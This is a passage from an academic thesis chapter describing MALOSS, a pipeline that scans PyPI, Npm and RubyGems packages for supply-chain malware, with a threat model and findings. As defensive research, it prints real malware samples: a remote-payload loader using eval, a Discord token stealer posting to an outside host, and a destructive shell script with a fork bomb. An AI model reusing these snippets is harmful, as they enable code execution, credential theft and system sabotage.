is on the rise.

4.3 Comparative Framework

This section presents our framework that enables a comparative analysis of three popular

registries for interpreted languages. The framework is inspired by modeling the management

and development process in the package management ecosystem and consists of four primary

stakeholders. In the framework, we examine three aspects of registries, namely functional,

review and remediation. Additionally, we outline threats that currently affect the ecosystem

and show how it applies to our framework.

4.3.1 Stakeholders

Registries are platforms for code sharing and play an essential role in the software de-

velopment process. Four primary stakeholders are involved in developing, managing and

using packages from registries, namely Registry Maintainers (RM), Package Maintainers

(PM), Developers (Dev) and End Users (EU). The simplified relationships among them are

sketched in Figure 4.3. Note that the stakeholders described above can be thought of as

roles, which can be assigned to a single person.

Registry Maintainers. Registry maintainers are responsible for running registries, which

are centralized repositories that host packages developed by package maintainers. Registries

provide search and install capabilities for developers (Dev) to help organize packages in a

central repository. Registry maintainers require package maintainers to signup before they

are allowed to publish (write) their package. On the other hand, developers (Dev) can query

and install (read) from the registry with or without signup.
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Package Maintainers. Package maintainers are responsible for developing, maintaining

and managing packages. Package maintainers typically use a code hosting platform like

GitHub to manage their development and collaborate with other contributors. They may

receive pull requests from contributors interested in their projects, thus allowing community

support for enhancement and maintenance.

Developers. Developers are consumers of published packages and are responsible for

finding the right packages to use in their software and releasing their products to end-users.

Dev focus on developing unique features in their software and reuse packages from registries

for common functionalities. Also, Dev are responsible for addressing relevant issues arising

from reused packages, such as known vulnerabilities and incompatibilities.

End Users. Although not directly interacting with registries, end users are still one

important stakeholder in the ecosystem. EU are at the downstream and use services or

applications from Dev via tools such as browsers, mobile devices or Internet-of-Things (IoT)

devices. They usually have no control of software, but can be affected by them.

4.3.2 Registry Features

Registries are the core component of package manager ecosystems and provide features

such as package hosting and account protection. Since different registries may implement

different features, we, therefore, list three popular registries for interpreted languages in

Table 4.1, namely PyPI, Npm, RubyGems, and systematically compare their features. We

classify registry features into three categories, namely functional, review and remediation.

Functional Features. As shown in Figure 4.3, PM, as suppliers, access accounts and

publish and manage their packages on registries, and Dev, as consumers, select and install

packages from registries as dependencies. Each registry has a different way of installing

packages on Dev’s system and provides different capabilities to allow PM to ship code.

• Access: refers to how registries authenticate PM to publish a package. We look at

account security-related features such as public-key authentication and multi-factor
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Table 4.1: Framework for comparison of registries.

Features Registries
PyPI Npm RubyGems

Fu
nc

tio
na

l

A
cc

es
s Password    

Access Token H#   
Public Key Auth # # #
Multi-Factor Auth H# H# H#

Pu
bl

is
h

Upload    
Reference # # #
Signing H# H# H#
Typo Guard #   
Namespace # H# #

M
an

ag
e Yank Package H# H# H#

Deprecate Package # H# H#
Add Collaborator H# H# H#
Transfer Ownership H# H# H#

Se
le

ct

Reputation    
Code Quality # # #
Security Practice # # #
Known Issue # # #
Typo Detection # #  

In
st

al
l Hook  H# #

Dependency Locking # H# H#
Native Extension H# H# H#
Embedded Binary H# H# H#

R
ev

ie
w

M
et

ad
at

a Dependency Check # # #
Update Inspection # # #
Binary Inspection # # #
PM Account # # #

St
at

ic Stylistic Lint # # #
Logical Lint # # #
Suspicious Logic # # #

D
yn

am
ic Install # # #

Embedded Binary # # #
Import # # #
Functional # # #

R
em

ed
ia

tio
n

R
em

ov
e Package    

Publisher    
Installed Package # # #

N
ot

if
y PM # # #

Dependent PM # # #
Dev # # #
Advisory DB #   

unsupported - #, optional - H#, enforced -  

authentication (MFA).

• Publish: refers to how packages are packaged and released to registries. We look at

release approaches such as upload by PM and reference through package development
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repository. We also look at packaging features such as signing and naming rules such

as typo guard.

• Manage: refers to how packages are managed and what controls are allowed on

packages. Controls can include removing the package by version, deprecating the

package, or adding authorized collaborators.

• Select: refers to rating or reputation score that helps Dev select which packages to

trust and add as dependencies. We look at criteria related to the rating and reputation

of repositories and authors.

• Install: refers to how packages are installed by Dev. We look at features such as

install hooks which can run additional code, dependency locking which can specify

secure dependencies, and if the package can contain native extensions or embedded

binaries which may have proprietary code. Note that native extension compilation,

which is supported in RubyGems, enables install hooks.

Review Features. We define review features that registries implement to proactively secure

user access and detect vulnerable and malicious packages. We list three main categories of

analysis, namely metadata, static and dynamic analysis. Unfortunately, none of them are

currently supported.

• Metadata: refers to metadata analysis of a given package, which includes dependency

analysis, author information, update history, and additional packaged components.

• Static: refers to performing lint for stylistic and logical code analysis. This can include

finding vulnerable or malicious code. Also, it includes scanning binary components

with anti-virus (AV) solutions.

• Dynamic: refers to analyzing behaviors of a package by installing it, executing

the embedded binaries, importing its modules, and invoking exported functions.
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This process includes monitoring system behaviors, such as network calls, process

operations and filesystem calls for suspicious activities such as access to sensitive

files.

Remediation Features. Once RM have identified abnormal signals that warrant further

investigation, a security team investigates the incident case and carries out removal and

notification based on the findings.

• Remove: refers to how proactive RM are with removing a package based on a report.

Basic operations include removing the affected package and disabling the publisher’s

account, while proactive operations include removing from installed packages.

• Notify: refers to the mechanism in which RM notify the public of the offending

package. This includes how do they notify. For example, RM can create an issue on

the git repo to notify PM, or alternatively, contact PM via email. This also includes

whom do they notify. For example, RM can notify public victims such as PM of the

offending package and its dependents. More proactive notifications would seek to

notify Dev and publishing advisories to inform other dependents and suggest fixes.

We manually evaluated each feature under the functional section in Table 4.1. For

the review and remediation features we contacted registry maintainers directly to report

malicious packages that we identified with our pipeline. Based on our information exchange,

we noted their responses such as what they have in place to detect or flag suspicious

packages, and document them in the review and remediation section of Table 4.1. Moreover,

we collected information from presentations and blogs that disclosed the security practices

of registries.

4.3.3 Threat Model

As highlighted in Figure 4.3, we consider supply chain attacks that aim at exploiting

upstream stakeholders (i.e. PM and RM) in the package manager ecosystem, to amplify
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their impacts on downstream stakeholders (i.e. Dev and EU). We investigate existing reports

of supply chain attacks and elaborate on their attack vectors and malicious behaviors.

Attack Vectors. Several threats subvert the package management supply chain ecosystem.

We define them as follows and annotate them with attack numbers in Figure 4.3.

• Registry Exploitation 2 : refers to exploiting a vulnerability in the registry service

that hosts all the packages and modifying or inserting malicious code [196, 197].

• Typosquatting 2 : refers to packages that have misspelled names similar to popular

packages in hope that Dev incorrectly specify their package instead of the intended

package [181, 198, 192]. This also includes squatting popular names across registries

and platforms (also called package masking [199]), in the hope that Dev falsely

assume their presence on a particular registry [200, 201].

• Publish 2 : refers to directly publishing packages without expectation of typos. This

can be used for bot tracking or malware-hosting [202].

• Account Compromise 3 : refers to compromising PM accounts on the registry

portal, allowing the attacker to replace the package with a malicious package or

release malicious versions [178, 179, 203, 204, 205].

• Infrastructure Compromise 1 : refers to the compromise of development, integra-

tion and deployment infrastructure of PM, allowing the attacker to inject malicious

code into packages [206].

• Disgruntled Insider 4 : refers to authorized PM that insert malicious code or attempt

to sabotage the package development [207].

• Malicious Contributor 4 : refers to a benign package that receives a bug fix or an

improvement that includes additional vulnerable or malicious code [188].
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• Ownership Transfer 3 4 : refers to packages that are abandoned and reclaimed or

the original owner transfers responsibility to new owners for future development [193,

187]. The transfer can happen both at code hosting sites and registries.

Malicious Behaviors. In supply chain attacks, we consider victims as downstream

stakeholders such as Dev and EU in Figure 4.3. Dev can be exploited to steal their credentials

or harm their infrastructure. Dev can also be exploited as a channel to reach EU through their

applications or services. When EU use applications or services provided by compromised

Dev, they can also be exploited to steal their credentials or harm their devices. We refer

to descriptions of existing malware in advisories and blogs and summarize their malicious

behaviors into the following list.

• Stealing: refers to harvesting sensitive information and sending them back to attackers.

Various types of information can be collected or stolen, ranging from less-sensitive

machine identifiers which can be used for tracking sensitive information [208] in-

cluding secret tokens [178], cryptocurrencies [188], passwords and even credit cards

which may lead to further compromise or financial loss.

• Backdoor: refers to leaving a code execution backdoor on victim machines. The

backdoor can be implemented in various ways. It can be code generation (e.g. eval)

of a specific attribute (e.g. cookie) [204], a specific payload [179], or a reverse shell

that allows any command [209].

• Sabotage: refers to the destroying of system or resources. This is less severe in the

browser due to isolation, but critical on developer infrastructure and end-user devices.

This can be done for profit and fun. The common thing is to destroy the system by

removing or encrypting the filesystem and ask for money (ransomware) [202].

• Cryptojacking: refers to exploiting the computing power of victim machines for

crypto-mining. The cryptojacking behavior [180] is a rising family of malware that is

also seen in browsers [210] and other platforms [211, 209].
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• Virus: refers to spreading malware by leveraging the fact that a person can be Dev

and PM at the same time to infect packages maintained by him [212].

• Proof-of-concept: refers to packages without real harm, but rather proof-of-concept

that aims at demonstrating something malicious can be done [212].

4.3.4 Broken Trust and Security Gaps

Table 4.2: Trust model changes for stakeholders in the package manager ecosystem.

SH/T C PM RM Dev EU
PM  → H#  → H#  
RM  → H#  → H#
Dev  #
EU  

no trust - #, majority trust - H#, complete trust -  
SH: Stakeholder, T: Trustee, C: Contributors

We further analyze the enumerated threats in §4.3.3 under the supply chain model in

Figure 4.3. Registry exploitation is caused by the implementation errors of RM, but it is hard

to launch and rarely seen. Typosquatting and publish are caused by the implicit trust in PM

by RM to act benignly. Account compromise is caused by careless PM and missing support

of MFA and abnormal account detection by RM. Infrastructure compromise, disgruntled

insider and malicious contributor are caused by insufficient security mechanism of PM and

implicit trust in PM by RM to secure their code and infrastructure. Ownership transfer is

caused by the implicit trust in new owners by PM and RM to act benignly.

The security gaps require enhancement to the ecosystem and are straightforward to fix.

To better understand the broken trust, we listed the trust model changes for stakeholders in

Table 4.2. RM are central authorities in the ecosystem, so PM and Dev would have to trust

RM to act benignly and responsibly. But on the contrary, although RM can still trust the

majority of PM and Dev as a community, RM should not trust all of them due to potential

attackers. PM interact with contributors and other PM and should also weaken their trust to

the majority of them, due to potential malicious contributors and disgruntled insiders. Dev
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and EU, as downstream users in the ecosystem, would have to trust the benign intent of

upstream stakeholders, although they may add some security mechanisms for protection.

On the other hand, Dev interact with EU from all over the Internet and have no trust in them.

4.3.5 Challenges For Vetting Packages

RM, as central authorities in the ecosystem, are responsible and capable of improving

the ecosystem. Inspired by vetting and review processes of mobile stores [189, 190], we

anticipate that an automated vetting pipeline, namely MALOSS, which can be adopted by

RM, would reveal suspicious and malicious behaviors of packages. However, to design such

a pipeline for package managers, there are several unique challenges.

First, packages in registries may have a large number of dependencies. For example,

eslint and electron both reuse over 100 packages on Npm, including indirect dependen-

cies. Directly applying static analysis to them not only incurs significant time and space

overhead, but also wastes computing resources in repeatedly analyzing commonly used

packages. Inspired by StubDroid [213], MALOSS addresses this challenge by proposing

modularized static analysis to summarize dependencies into formats that can be directly

reused for further static analysis. Second, the nature of interpreted languages allows for

dynamic typing and dynamic code generation, indicating that static analysis algorithms such

as type inference and points-to analysis are inaccurate. To account for such inaccuracies,

MALOSS employs hybrid analysis, which includes metadata, static, and dynamic analysis,

to flag suspicious packages: MALOSS checks anomalies and aggregate similar packages in

metadata analysis; reports suspicious APIs and information flows in static analysis; installs,

executes, imports and interacts with packages to reveal their behaviors in dynamic analysis.

The reported suspicious packages are then iteratively checked for their maliciousness.
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Figure 4.5: Interactions between packages and the underlying system.

4.4 Package Analysis Tools

In this section, we provide details about implementing the MALOSS vetting pipeline.

Figure 4.4 is an overview of the workflow and internal components of MALOSS. We

divide the implementation into four components, namely metadata analysis, static analysis,

dynamic analysis, and iterative labeling. Packages from registries are processed by the

three analysis components to generate intermediate reports which highlight suspicious

activities. The iterative labeling component filters suspicious packages using heuristic rules

and employs a semi-automated labeling process to flag malware.

4.4.1 Goals and Assumptions

We envision MALOSS as a pipeline that performs automated analysis to flag suspicious

packages, followed by iterative labeling to check maliciousness and improve heuristic rules.

In the package manager ecosystem, the automated analysis can be adopted by RM, and the

iterative labeling process can be offloaded to RM and Dev, the majority of whom can still be

trusted as highlighted in Table 4.2.

We begin the design of MALOSS by setting goals and assumptions. In this work, we

focus on vetting public packages in three package managers for interpreted languages in

Table 4.1, namely PyPI for Python, Npm for JavaScript and RubyGems for Ruby. Figure 4.5

explains interactions between packages and the underlying system, including the runtime

environment, libraries, and operating system. In MALOSS, metadata analysis focuses on
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correlating packages based on various information such as releases and authors, which allows

identification of packages similar to known malware; static analysis focuses on checking

interactions between packages and the runtime environment, which allows identification

of suspicious API invocations and information flows such as code generation using data

from network; dynamic analysis focuses on running packages and tracing system calls and

their arguments during execution, which allows tracing of sensitive operations such as read

of /etc/passwd. The three analyses unveil different views of packages and are combined

to flag suspicious packages for iterative labeling. Using the MALOSS pipeline, we aim at

identifying malware in the wild, as well as understanding their attack vectors and malicious

behaviors. We assume registry maintainers are trusted, implying that any malware reported

can be attributed to one of the attack vectors in §4.3.3. We assume packages are installed,

imported and used by developers, rather than installed for further development, implying

that only runtime dependencies need to be considered.

4.4.2 Metadata Analysis

Metadata analysis focuses on collecting auxiliary information (e.g. package name, author,

release, downloads, and dependencies) of packages and aggregating them based on different

criteria. All information are directly retrieved from registry APIs. Note that, for Npm, we

collect downloads for the past three years, since Npm API only allows range queries for

downloads. Metadata analysis can flag suspicious packages, as well as identify packages

similar to known malware. For example, using edit distance of package names, metadata

analysis can group packages based on their names, allowing pinpointing of typosquatting

candidates of popular packages. Using author information, metadata analysis can group

packages based on authors, allowing identification of packages from known malicious

authors.
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4.4.3 Static Analysis

The static analysis focuses on analyzing source files of the corresponding interpreted

language for each package manager and skips embedded binaries and native extensions. The

analysis consists of three components, manual API labeling, API usage analysis, and taint

flow analysis. To allow efficient processing of packages with a large number of dependencies,

we perform modularized analysis using package summaries.

Manual API Labeling. As highlighted in Figure 4.5, we focus on four types of runtime

APIs in the static analysis, namely, network, filesystem, process, and code generation.

Network APIs allow communication over various protocols such as socket, HTTP, FTP, etc.

They have been used to leak sensitive information [214], fetch malicious payload [179], etc.

Filesystem APIs allow file operations such as read, write, chmod, etc. They have been used

to leak ssh private keys [214], infect other packages [207] etc. Process APIs allow process

operations such as process creation, termination and permission change. They have been

used to spawn separate malicious processes [180]. Code generation APIs allow runtime code

generation and loading. This includes the infamous eval and others like vm.runInContext in

Node.js, which have been used to load malicious payload [179, 205].

For the runtime of each registry, we manually go through their framework APIs and

check if they belong to any of the above categories. To allow taint flow analysis, we further

label them as data sources if they can return sensitive or suspicious data and data sinks if

they can perform suspicious operations on inputs. Note that an API can be both a source

and a sink, e.g. https.post in Node.js can both retrieve suspicious data and send out sensitive

information. Also, some sink APIs do not have to be used with a source to perform malicious

behaviors. For example, fs.rmdir in Node.js is a sink and raises a warning if its argument

comes from user input. But even without a source, fs.rmdir can be used to sabotage user

machines by hardcoding the input path to the root folder. Hence, we need to identify both

suspicious APIs and their flows.
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1 try{
2 var https=require(’https’);
3 https.get({’hostname’:’pastebin.com’,path:’/raw/XLeVP82h’,headers:{’User-Agent’:’

Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0’,Accept:’text/html,
application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8’}},(r)=>{

4 r.setEncoding(’utf8’);
5 r.on(’data’,(c)=>{
6 eval(c);
7 });
8 r.on(’error’,()=>{});
9 }).on(’error’,()=>{});

10 }catch(e){}

Listing 4.1: eslint-scope [178] downloads malicious payload via https.get and executes
via eval.

1 const request = require(’request’);
2 ...
3 login(token = this.token) {
4 try {
5 request({
6 method: ’POST’,
7 url: "http://anti410.alwaysdata.net/api/puttoken",
8 headers: {
9 ’Content-Type’: ’application/x-www-form-urlencoded’

10 },
11 form: {
12 ’token’: token
13 }
14 }, (err, res, body) => { if (err) {}; });
15 } catch (e) {};
16 ...
17 }

Listing 4.2: discord.js-user [215] steals discord tokens via its dependency request.

API Usage Analysis. We parse source files of packages into Abstract Syntax Trees (AST)

using state-of-the-art libraries [216, 217, 218, 219] and search for usage of manually labeled

APIs in AST. For APIs in the global namespace (e.g. eval for Python), we match them

against function calls using their names. For APIs that are static methods of classes or

exported functions of modules (e.g. vm.runInContext for Node.js), we identify their usage

by tracking aliases of classes or modules and matching their full names. For APIs that are

instance methods of classes, since identifying them in dynamically typed languages is an

open problem, we make a trade-off and identify their usage in two ways: method name only

and method name with the default instance name. Although the former can overestimate

and the latter can have both false positives and false negatives, we argue that they are still

useful in estimating API usage. For example, by processing the malicious code snippet of
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eslint-scope in Listing 4.1, we can identify static method https.get which downloads the

malicious payload and global function eval which executes it.

Besides, packages can have dependencies and invoke suspicious APIs indirectly via

functions exported by their dependencies. For example, discord.js-user shown in

Listing 4.2 steals discord tokens via its dependency request. An intuitive solution for

handling indirect API usage is to analyze each package together with their dependencies,

but this may lead to the repeated analysis of common packages and possible resource

exhaustion given too many dependencies. Therefore, to increase efficiency and reduce

failures, we perform modularized API usage analysis which analyzes each package only

once. We first build a dependency tree of all packages and analyze API usage for ones

without dependencies. We then walk up the dependency tree and combine APIs of packages

and their dependencies. Let Pk denote the APIs of package k, and i denote the packages

that k depends on, we compute combined APIs of k as ⋃iPi⋃Pk.

Taint Flow Analysis. To support taint flow analysis while prototyping MALOSS, we

survey and test open-source tools for each interpreted language and choose PyT [220]

for Python, JSPrime [221] for JavaScript and Brakeman [222] for Ruby. We adapt these

tools to analyze packages with a customized configuration of sources and sinks, and output

identified flows between any source-sink pair. By using these tools, MALOSS inherits their

limitations in terms of accuracy and scalability, which we argue can be improved given

better alternatives. With the capability of capturing the dataflow from https.get to eval in

Listing 4.1, MALOSS can support more expressive flagging of suspicious packages.

Similar to API usage analysis, taint flow analysis needs to handle flows out of or into

dependencies. Inspired by StubDroid [213], which propose to summarize dependencies of

Java packages to speedup subsequent taint flow analysis, we run taint analysis on packages

to check if their exported functions are indirect sources which return values derived from

known sources, or indirect sinks whose arguments propagate into sinks, or propagation

nodes which return values derived from arguments. As we walk up the dependency tree
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1 #!/bin/bash
2 DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
3 # Try to delete other files on the system
4 rm -fr $DIR/../..
5 # Make a large file (50 GiB)
6 TEMP_DIR="$(mktemp -d)"
7 dd if=/dev/zero of=$TEMP_DIR/havoc count=52428800 bs=1024
8 # Fork bomb
9 :(){ :|: & };:

10 # Spin
11 while true do
12 continue
13 done

Listing 4.3: destroyer-of-worlds [202] sabotages the operating system by abusing
filesystem, memory etc.

of all packages, we output identified flows, as well as indirect sources, indirect sinks and

propagation nodes, which are merged into the customized configuration for subsequent

analyses. For example, we can first summarize the request to find that its exported function

request invokes network sinks such as https.post and then analyze code in Listing 4.2 to

identify the malicious flow of leaking token through the network.

4.4.4 Dynamic Analysis

Dynamic analysis focuses on executing packages and tracing their interactions with the

underlying operating system. In comparison to static analysis, dynamic analysis considers

source files, as well as embedded binaries and native extensions, but it does not have

visibility into the runtime environment (e.g. cannot track eval). The analysis consists of

two parts, package execution within Docker [223] containers for sandboxing and dynamic

tracing using Sysdig [224] for efficiency and usability.

Package Execution. Packages can be used in various ways, such as standalone tools or

libraries, which should be considered in dynamic analysis. We, therefore, execute packages

in four ways, namely, install, embedded binary, import and functional. For install, we run

the installation command (e.g. npm install <name>) to install packages, which triggers

customized installation hooks if any and allows attackers to act at the user’s privilege. For

embedded binary, we run embedded binaries and executable scripts from packages, since
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attackers can include prebuilt binaries or obfuscated code to obstruct the investigation. For

import, we import packages as libraries to triggers initialization logic where attackers can

tap into. For functional, we fuzz exported functions and classes of libraries to reveal their

behaviors. The current prototype invokes exported functions, initializes classes with null

arguments, and recursively invokes callable attributes of modules and objects. We perform

the above operations for a package, on Ubuntu 16.04. We leave advanced fuzzing strategies

and support for other operating systems as future work. While executing packages, we use

Docker [223] containers as sandboxes to protect the underlying system from malware like

destroyer-of-worlds in Listing 4.3 which abuses system resources.

Dynamic Tracing. While executing packages, we aim at capturing their interactions

with the underlying system to flag suspicious behaviors. There are three popular tools,

namely Strace [225], Dtrace [226] and Sysdig [224], to capture system call traces in Linux-

based systems. After cross-comparison, we choose Sysdig as the tracing tool due to its

high efficiency and good usability. To fully leverage the computing resources, we analyze

multiple packages in parallel, each in a separate Docker container whose name encodes

package information such as name, version etc. Sysdig captures system call traces and

correlates them with userspace information such as container names, thus allowing us to

differentiate behaviors from different containers and packages. While prototyping, we

track system calls related to four types of information, namely IPs, DNS queries, files, and

processes and dump them into files to allow further processing. Note that, Sysdig can only

see system calls and cannot handle suspicious behaviors within runtime environment such

as dynamic code generation.

4.4.5 Iterative Labeling

Iterative labeling is semi-automated and includes an automated process to flag suspicious

packages based on heuristic rules and a manual process to check maliciousness and update

rules. The updated rules are used to iteratively filter and narrow down suspicious packages.
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By learning from existing supply chain attacks and other malware studies [227], we specify

an initial set of heuristic rules.

Metadata Analysis Rules. First, inspired by typosquatting, we flag packages whose names

are similar to popular ones in the same registry or the same as popular ones in other registries

but with different authors. Second, inspired by the idea of leveraging malware seeds to find

new ones, we flag packages if they depend on known malware or have similar authors and

release patterns.

Static Analysis Rules. First, inspired by that malware usually execute malicious code

during installation, we flag packages with customized installation logic. Second, inspired by

that account compromise-based malware usually keep existing benign versions and release

new malicious versions, we flag packages if recently released versions use previously unseen

network or code generation APIs. Third, inspired by that malware exhibiting stealing and

backdoor behavior usually involves network activities, we flag packages with certain types

of flows, such as flows from filesystem sources to network sinks and from network sources

to code generation sinks.

Dynamic Analysis Rules. First, inspired by behaviors such as stealing and backdoor

need network communication, we flag packages that contact unexpected IPs or domains,

where expected ones are derived from official registries (e.g. pypi.org) and code hosting

services (e.g. github.com). Second, inspired by malicious behaviors usually involve access

to sensitive files, we flag packages if they write to or read from such files (e.g. /etc/sudoers,

/etc/shadow). Third, inspired by that cryptojacking usually spawn a process for cryptomining,

we flag packages with unexpected processes, where expected ones are initialized to registry

clients (e.g. pip).

Nevertheless, to provide evidence for RM or PM to take action, we have to manually

investigate suspicious packages to confirm their maliciousness or label them as false positives

to help update heuristic rules. To avoid re-computation when rules are updated, we cache

the output of metadata, static and dynamic analysis. We iteratively perform the automated
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filtering process based on rules and the manual labeling process, to report malware.

4.5 Findings

4.5.1 Experiment Setup

Environment. We use 20 local workstations running Ubuntu 16.04 with 64GB memory

and 8 x 3.60GHz Intel Xeon CPUs to download and analyze all packages and their versions

from the PyPI, Npm and RubyGems. We use network-attached storage (NAS) server with

60TB disk space to provide shared storage to all the workstations. We use the NAS server to

mirror packages and their metadata from registries and store analysis results. The registry

mirrors allow us to obtain copies of malware even if they are taken down.

Tools and Data Sets. For metadata analysis, we collect auxiliary information for packages

and their versions from official registry APIs. For static analysis, we rely on open source

projects for AST parsing [216, 217, 218, 219] and taint flow analysis [220, 221, 222, 228].

To perform modularized analysis, we build a dependency tree for each registry and schedule

analysis of packages in dependency trees using Airflow [229], which is capable of scheduling

directed acyclic graphs (DAGs) of tasks. For dynamic analysis, we rely on Docker [223]

for sandboxing and Sysdig [224] for a deep system-level tracing. We use Celery [80] to

schedule analyses of packages.

4.5.2 Package Statistics

Table 4.3: Statistics of analyzed packages in registries.

PyPI Npm RubyGems
# of Packages 186,785 997,561 151,783
# of Package Versions 809,258 4,388,368 629,116
# of Package Maintainers† 67,552 284,009 51,505

† The number of package maintainers may not match the number
of users in registries as not all users publish packages.

We use the MALOSS pipeline to process over one million packages from PyPI, Npm and
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Figure 4.6: Statistical comparison of metadata analysis among registries. D-deps: Direct
dependencies, I-deps: Indirect dependencies.

RubyGems as presented in Table 4.3. Through an iterative labeling process, we identified 7

malware in PyPI, 41 malware in Npm and 291 malware in RubyGems. We reported these

339 malware respectively to RM and 278 (82 percent) of them have been confirmed and

removed. Out of the removed packages, three of them have more than 100K downloads,

indicating a large number of victims. Therefore, we requested CVEs (CVE-2019-13589,

CVE-2019-14282, CVE-2019-14281) for them, in the hope that the potential victims can

get timely notifications for remediation.

Metadata Analysis. For all the packages in registries, we present the distribution of the

number of versions and downloads per package in Figure 4.6a. The distribution of the

number of versions shows that 80% of packages have less than 7 to 9 versions and different

registries have similar distribution, implying a similar release pattern across registries. In

comparison, the distribution of the number of downloads varies among registries, with

20% of RubyGems and PyPI packages being downloaded more than 13,835 times and 678

times respectively, indicating that packages distributed on RubyGems are more frequently

downloaded and reused.

We also present the distribution of dependency count for the top 10K downloaded pack-

ages in Figure 4.6b, including both direct and indirect dependencies. 80% of these packages

have 2 or fewer direct dependencies, which inflates to 20 or fewer indirect dependencies,
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Figure 4.8: The need and capability of scalability in MALOSS.

implying an implicit trust for PM to ensure quality of reused OSS and RM to vet packages

for maliciousness. The maximum number of indirect dependencies in Figure 4.6b reaches

more than 1K, implying a significant amplification when frequently reused packages get

compromised.

Static Analysis. We ran API usage analysis for all package versions in registries, followed

by taint flow analysis for packages using suspicious APIs. To allow modularized static

analysis, we build a dependency tree for all packages in each registry and walk up the tree

to find suspicious APIs and flows, as well as summarize packages for subsequent analyses.

We present the percentage of top 10K downloaded packages using suspicious APIs in

Figure 4.7a. Contrary to the intuition that code generation APIs such as eval are dangerous
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and rarely used, Figure 4.7a shows that 7% of PyPI packages and 10% of RubyGems

packages use code generation APIs. Such code generation APIs are not only frequently used

in supply chain attacks, but also can lead to code injection vulnerabilities if their inputs are

not properly sanitized.

Performance. We present the timeline of the number of new packages and package

versions published each month in Figure 4.8a. Overall, the timeline shows that the number

of newly published packages has been increasing, implying the need of analyzing packages

at scale in MALOSS. In Figure 4.8a, RubyGems spikes around 2010 because the registry

moved from gems.rubyforge.org to rubygems.org and all timestamps were reset. As for the

other spike of RubyGems around 2015, no public explanation has been found. The timeline

also indicates that the PyPI and Npm community have been growing recently, while the

RubyGems community has plateaued.

Therefore, to quantify the benefit of using modularized static analysis, we randomly

select 1K packages from the top 10K PyPI packages and present the processing time and

speedup ratio of analysis with summary versus without summary in Figure 4.8b. The

measurement shows that modularized analysis achieves more than 5 times and 18 times of

speedup ratios in API usage analysis and taint flow analysis respectively for 20% of the

analyzed PyPI packages. We argue that other registries would follow a similar pattern of

speedup.

Dynamic Analysis. We dynamically analyzed all packages in registries by sandboxing

them in Docker containers [223] and tracing their behaviors with Sysdig [224]. Figure 4.7b

shows the number of packages exhibiting unexpected dynamic behaviors in each registry

according to the initial heuristics in §4.4.5. The figure reveals that Npm and PyPI have more

packages with unexpected network activities (i.e. IPs and DNS queries) than RubyGems. It

is important to note that unexpected behaviors during the installation phase are amplified

by dependent packages, resulting in a seemingly large number of flagged packages in

Figure 4.7b. We remove such redundancy by checking with the dependency tree.
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Figure 4.9: Breakdown of malware by attacks and behaviors.

4.5.3 Supply Chain Attack Details

Starting from the initial set of heuristic rules in §4.4.5, we iteratively label suspicious

packages, update rules and end up finding 339 malware. In addition, we have been tracking

supply chain attacks since Jan 2018, and collected 312 malware samples reported by the

community, consisting of 67 malware in PyPI, 230 malware in Npm and 15 malware

in RubyGems. To this end, we systematically summarize this 651 malware, using the

framework and terminologies proposed in §4.3. We analyze them in multiple dimensions,

including attack vectors, malicious behaviors, persistence, impact, and infection. While

presenting, we use Overall to refer to malware reported overall, Community for ones reported

by the community and Authors for ones reported by the authors.

Attack Vectors. We categorize malware by their attack vectors in Figure 4.9a, which shows

that typosquatting is the most exploited attack vector, followed by account compromise

and publish. It is intuitive that typosquatting and publish would dominate, since attackers

tend to use low-cost approaches. However, the popularity of account compromise implies a

lack of support by RM and awareness of PM to protect accounts. Though not significant,

other attack vectors such as malicious contributor and ownership transfer are exploited by

attackers, indicating that each stakeholder in the package manager ecosystem should raise

awareness and be involved in fighting supply chain attacks.
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Figure 4.10: The distribution of number of persistence days and number of downloads for
malware.

Malicious Behaviors. We categorize malware by their malicious behaviors in Figure 4.9b,

which shows that stealing is the most common behavior, followed by backdoor, proof-of-

concept and cryptojacking. We further investigate the dominating category, stealing, and

find that around three quarters of them are collecting less sensitive information, such as

usernames, IPs etc., posing less harm to developers and end users. The rest of stealing

packages collects various sensitive information, such as passwords, private keys, credit cards

etc. As for backdoor and cryptojacking, their popularity indicates that attackers are targeting

not only end users, but also developers and infrastructure of enterprises, implying an urgent

need for developers and enterprises to take action.

Persistence. We present the distribution of number of persistence days and number

of downloads for each malware in Figure 4.10, which shows that 20% of them persist in

package managers for over 400 days and have more than 1K downloads. As of August

2019, none of the three registries has claimed to deploy analysis pipelines or manual review

processes, but instead rely on the community to find and report malware, thus leading to the

long persistence of malware. To better understand the distribution of malware in terms of

persistence and popularity, we show the correlation between number of persistence days and

number of downloads in Figure 4.11. The scatterplot reveals that popular packages are likely

to persist for fewer days, possibly due to their larger user base. As highlighted in Figure 4.11,
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18 malicious packages were identified with more than 100K downloads. We (i.e. the authors)

reported 4 of these 18 packages. Three of our reported malicious packages, i.e. paranoid2,

simple_captcha2 and datagrid, were confirmed and removed by registry maintainers

and are assigned CVE-2019-13589, CVE-2019-14282 and CVE-2019-14281 respectively.

The fourth identified malicious package, rsa-compat, unfortunately still remains online. It

collects information regarding the package, Node.js runtime and operating system, and is

being investigated by Npm maintainers due to lack of policies defining user tracking versus

stealing.

Impact. Besides malware characteristics, we also measure their impact. In particular, we

answer whether these malware are affecting developers and end users. From Figure 4.10b,

we select malware with more than 10 million downloads. The combined downloads for

the most popular malicious packages (event-stream - 190 million, eslint-scope - 442

million, bootstrap-sass - 30 million, and rest-client - 114 million) sum to 776

million. In addition to threats imposed by direct downloads, we emphasize that unlike

mobile stores where apps are user-facing, the packages in registries are developer-facing,

thus amplifying their impact by their dependents. Moreover, by walking up the dependency
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tree in Figure 4.6b to compute reverse dependencies, we find that event-stream has 3,905

dependents, eslint-scope has 15,356 dependents, bootstrap-sass has 546 dependents

and rest-client has 4,722 dependents. By measuring their dependent downloads, the

downloads for each of these packages is significantly amplified — i.e event-stream - 539

million, eslint-scope - 2.59 billion, bootstrap-sass - 46 million, and rest-client

- 289 million downloads, amounting to a total of 3.464 billion downloads of malicious

packages, thus amplifying the impact by a factor of 4.5.

Infection. Although downloads and reverse dependencies can be an indirect measure of

malware popularity, it is still unclear whether malware made their way to Dev and EU and

got executed. Inspired by the observation that many of these malware involves network

activity in their malicious logic, we collaborate with a major Internet Service Provider

(ISP) to check malware related DNS queries. We start with manually checking malicious

payloads and extracting contacted domains. Followed by exclusion of commonly used

domains for benign purposes, such as pastebin.com and google-analytics.com. We query

the remaining domains against the passive DNS data shared by the ISP and present their

volume aggregated by month in Figure 4.12. The data contains queries from Jan 2017 to

